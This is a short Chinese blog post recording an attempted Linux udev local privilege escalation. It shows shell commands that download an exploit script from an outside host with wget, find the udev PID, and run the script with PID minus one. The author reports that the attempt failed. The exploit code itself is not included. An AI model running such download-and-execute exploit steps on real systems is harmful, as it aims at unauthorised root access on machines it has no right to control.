Linux UDEV提權過程
阿新 • • 發佈:2018-04-02
size resp HA save app 100% gid 執行 cte
1.下載攻擊腳本
[test@H0f ~]$ wget http://www.extmail .org/source/exploit-udev-8478
--2018-04-02 01:21:00-- http://www.extmail/
Resolving www.extmail... failed: Name or service not known.
wget: unable to resolve host address “www.extmail”
--2018-04-02 01:21:00-- http://.org/source/exploit-udev-8478
Resolving .org... failed: Name or service not known.
wget: unable to resolve host address “.org”
[test@H0f ~]$ wget http://www.extmail.org/source/exploit-udev-8478
--2018-04-02 01:21:14-- http://www.extmail.org/source/exploit-udev-8478
Resolving www.extmail.org... 124.172.184.131
Connecting to www.extmail.org|124.172.184.131|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3367 (3.3K) [application/octet-stream]
Saving to: “exploit-udev-8478”
100%[===============================================================================>
2018-04-02 01:21:15 (351 KB/s) - “exploit-udev-8478” saved [3367/3367]
2.獲得udev進程號
[test@H0f ~]$ ps ax|grep udev|grep -v grep|awk {‘print $1‘} 581 2508 2509
3.獲得udev進程號,然後將此數字減1作為exploit-udev-8478的參數,執行腳本
[test@H0f ~]$ sh exploit-udev-8478 580 suid.c: In function ‘main’: suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’
4.輸入id進行驗證
1sh-4.1$ id 2 uid=502(test) gid=502(test) groups=502(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
多次實驗仍未成功,大佬看到求指點,應該是我的linux版本問題把
Linux UDEV提權過程